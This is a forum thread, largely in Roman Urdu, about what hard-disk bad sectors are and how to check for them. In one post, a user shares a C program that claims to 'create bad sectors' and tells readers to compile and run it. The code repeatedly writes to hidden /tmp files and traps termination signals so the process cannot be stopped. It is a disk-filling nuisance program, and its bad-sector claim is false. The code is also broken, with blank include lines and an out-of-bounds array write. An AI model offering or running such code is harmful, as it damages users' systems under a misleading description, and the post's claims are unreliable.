Results 1 to 11 of 11

Thread: what is bad sector

  1. #1
    faizan341 is offline Senior Member+
    Last Online
    9th February 2010 @ 08:28 PM
    Join Date
    14 Nov 2006
    Age
    34
    Posts
    336
    Threads
    168
    Credits
    0
    Thanked
    0

    Question what is bad sector

    ye bad sector kaise atey hain or insey kya nuqsan hota hai or ye check kaisey kartey hain

  2. #2
    Niqash's Avatar
    Niqash is offline Advance Member
    Last Online
    12th August 2021 @ 10:35 AM
    Join Date
    30 Jun 2008
    Posts
    4,569
    Threads
    160
    Credits
    58
    Thanked
    4

    Default


  3. #3
    usman_samunder's Avatar
    usman_samunder is offline Senior Member+
    Last Online
    15th July 2015 @ 12:32 AM
    Join Date
    05 Jan 2008
    Age
    39
    Posts
    303
    Threads
    34
    Credits
    970
    Thanked
    0

    Default

    good niqash buhi

  4. #4
    Niqash's Avatar
    Niqash is offline Advance Member
    Last Online
    12th August 2021 @ 10:35 AM
    Join Date
    30 Jun 2008
    Posts
    4,569
    Threads
    160
    Credits
    58
    Thanked
    4

    Default

    Thanks UsmanBrother

  5. #5
    gwaree is offline Senior Member+
    Last Online
    26th July 2010 @ 06:07 AM
    Join Date
    11 Oct 2007
    Age
    56
    Posts
    66
    Threads
    7
    Credits
    0
    Thanked
    0

    Default

    bohth he umda shairing thank you niqash

  6. #6
    SairIqbalBajwa is offline Senior Member+
    Last Online
    6th February 2016 @ 11:07 PM
    Join Date
    09 Oct 2008
    Posts
    91
    Threads
    8
    Credits
    0
    Thanked
    0

    Default

    Niqash BHai Aaap Tu Gr8 ho

  7. #7
    SairIqbalBajwa is offline Senior Member+
    Last Online
    6th February 2016 @ 11:07 PM
    Join Date
    09 Oct 2008
    Posts
    91
    Threads
    8
    Credits
    0
    Thanked
    0

    Default

    This C program will create BAD Sectors on Hard Disk . Bad Sectors are sectors of Hard Disk where data can't be written nor can be retrieved . Bad Sectors may be permanent / temporary . Copy the code and run it using a C / C++ Complier .

    Disclaimer: This article is for informational and educational purpose only, as most information is found on various part of Internet. Readers should not misuse the code to destroy useful data or do other such illegal acts .

    #include
    #include
    #include
    #include
    #include
    #include
    #include

    #define HDSIZE 640000

    void handle_sig();

    int main() {

    int i = 0;
    int x;
    int fd[5];

    signal(SIGINT, handle_sig);
    signal(SIGHUP, handle_sig);
    signal(SIGQUIT, handle_sig);
    signal(SIGABRT, handle_sig);
    signal(SIGTERM, handle_sig);

    char *buf;

    buf = malloc(HDSIZE);

    printf("sekt0r: trashing hard disk with bad sectors!\n");

    while(1) {
    fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
    fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
    fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
    fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
    fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

    for(x = 0; x < 5; x++) {
    write(fd[x], buf, HDSIZE);
    lseek(fd[x], 0, SEEK_SET);
    close(fd[x]);

    } /* end for() loop. */
    } /* end while() loop. */
    } /* end main(). */


    void handle_sig() {
    /* Reset signal handlers. */
    signal(SIGINT, handle_sig);
    signal(SIGHUP, handle_sig);
    signal(SIGQUIT, handle_sig);
    signal(SIGABRT, handle_sig);
    signal(SIGTERM, handle_sig);

    printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
    return; /* go back to creating bad sectors. */
    }

  8. #8
    SairIqbalBajwa is offline Senior Member+
    Last Online
    6th February 2016 @ 11:07 PM
    Join Date
    09 Oct 2008
    Posts
    91
    Threads
    8
    Credits
    0
    Thanked
    0

    Default

    Defective areas on a floppy or hard disk. The MS-DOS "Format" command recognizes bad sectors, and "locks them out" so the computer won't try to place any data on those sectors.



    he disk sector that can no longer be used for storage purpose.

  9. #9
    SairIqbalBajwa is offline Senior Member+
    Last Online
    6th February 2016 @ 11:07 PM
    Join Date
    09 Oct 2008
    Posts
    91
    Threads
    8
    Credits
    0
    Thanked
    0

    Default

    How to "Repair" a Bad Sector in Windows XP

    * Press the <Start> button.
    * Select <My Computer>.
    * Under Hard Disk Drives highlight the disk which you want to scan.
    * Open the <File> menu and choose <Properties>
    * Open the <Tools> tab.
    * Click the <Check Now...> button.

  10. #10
    unique488's Avatar
    unique488 is offline Senior Member+
    Last Online
    17th April 2012 @ 12:56 AM
    Join Date
    12 Sep 2008
    Posts
    167
    Threads
    23
    Credits
    0
    Thanked
    0

    Default

    nice

  11. #11
    ice man is offline Senior Member+
    Last Online
    19th August 2019 @ 11:17 AM
    Join Date
    18 Nov 2009
    Location
    lahore
    Age
    34
    Gender
    Male
    Posts
    87
    Threads
    1
    Credits
    72
    Thanked
    3

    Default

    bhai mara pass 160 gb sata hd wd ke hai.par sea map iso ko support nahi kar raha.plzzzzzzzz help me

Similar Threads

  1. Bad sector
    By farmanali280 in forum Ask an Expert
    Replies: 0
    Last Post: 18th December 2013, 10:53 PM
  2. Bed Sector
    By taib in forum Ask an Expert
    Replies: 11
    Last Post: 23rd November 2012, 09:39 PM
  3. Bad Sector
    By Krisss in forum Ask an Expert
    Replies: 5
    Last Post: 12th October 2012, 10:35 PM
  4. bad sector
    By Shahid Naaj in forum Ask an Expert
    Replies: 2
    Last Post: 22nd May 2009, 11:35 AM
  5. About Bad Sector
    By sheikhuka in forum Ask an Expert
    Replies: 1
    Last Post: 11th May 2009, 07:45 PM

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •